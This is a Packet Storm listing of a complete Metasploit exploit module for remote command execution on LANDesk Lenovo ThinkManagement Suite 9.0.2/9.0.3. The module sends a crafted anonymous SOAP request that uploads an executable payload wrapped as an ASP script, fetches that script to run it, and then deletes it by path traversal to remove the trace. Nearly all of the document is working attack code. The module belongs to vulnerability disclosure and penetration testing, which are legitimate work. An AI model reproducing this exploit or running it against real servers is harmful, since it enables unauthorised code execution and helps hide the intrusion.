Lucene search

K
packetstormAndrea MicalizziPACKETSTORM:111678
HistoryApr 10, 2012 - 12:00 a.m.

LANDesk Lenovo ThinkManagement Console Remote Command Execution

2012-04-1000:00:00
Andrea Micalizzi
packetstormsecurity.com
22

EPSS

0.152

Percentile

95.9%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize  
super(  
'Name' => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',  
'Description' => %q{  
This module can be used to execute a payload on LANDesk Lenovo  
ThinkManagement Suite 9.0.2 and 9.0.3.  
  
The payload is uploaded as an ASP script by sending a specially crafted  
SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"  
, via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'  
as the argument.  
  
After execution, the ASP script with the payload is deleted by sending  
another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"  
via a "SetTaskLogByFile" operation.  
},  
'Author' => [  
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'Version' => '$Revision: $',  
'Platform' => 'win',  
'References' =>  
[  
['CVE', '2012-1195'],  
['CVE', '2012-1196'],  
['OSVDB', '79276'],  
['OSVDB', '79277'],  
['BID', '52023'],  
['URL', 'http://www.exploit-db.com/exploits/18622/'],  
['URL', 'http://www.exploit-db.com/exploits/18623/']  
],  
'Targets' =>  
[  
[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Feb 15 2012'  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])  
], self.class)  
end  
  
def exploit  
  
peer = "#{rhost}:#{rport}"  
  
# Generate the ASP containing the EXE containing the payload  
exe = generate_payload_exe  
asp = Msf::Util::EXE.to_exe_asp(exe)  
  
# htmlentities like encoding  
asp = asp.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")  
  
uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")  
upload_random = rand_text_alpha(rand(6) + 6)  
upload_xml_path = "ldlogon\\#{upload_random}.asp"  
  
soap = <<-eos  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<RunAMTCommand xmlns="http://tempuri.org/">  
<Command>-PutUpdateFileCore</Command>  
<Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>  
<Data2>#{upload_xml_path}</Data2>  
<Data3>#{asp}</Data3>  
<ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>  
</RunAMTCommand>  
</soap:Body>  
</soap:Envelope>  
eos  
  
#  
# UPLOAD  
#  
attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"  
print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")  
  
res = send_request_cgi({  
'uri' => attack_url,  
'method' => 'POST',  
'ctype' => 'text/xml; charset=utf-8',  
'headers' => {  
'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"",  
},  
'data' => soap,  
}, 20)  
  
if (! res)  
print_status("#{peer} - Timeout: Trying to execute the payload anyway")  
elsif (res.code < 200 or res.code >= 300)  
print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")  
return  
end  
  
#  
# EXECUTE  
#  
upload_path = uri_path + "ldlogon/#{upload_random}.asp"  
print_status("#{peer} - Executing #{upload_path}...")  
  
res = send_request_cgi({  
'uri' => upload_path,  
'method' => 'GET'  
}, 20)  
  
if (! res)  
print_error("#{peer} - Execution failed on #{upload_path} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")  
return  
end  
  
  
#  
# DELETE  
#  
soap = <<-eos  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<SetTaskLogByFile xmlns="http://tempuri.org/">  
<computerIdn>1</computerIdn>  
<taskid>1</taskid>  
<filename>../#{upload_random}.asp</filename>  
</SetTaskLogByFile>  
</soap:Body>  
</soap:Envelope>  
eos  
  
attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"  
print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")  
  
res = send_request_cgi({  
'uri' => attack_url,  
'method' => 'POST',  
'ctype' => 'text/xml; charset=utf-8',  
'headers' => {  
'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",  
},  
'data' => soap,  
}, 20)  
  
if (! res)  
print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")  
return  
elsif (res.code < 200 or res.code >= 300)  
print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")  
return  
end  
  
handler  
end  
  
end  
`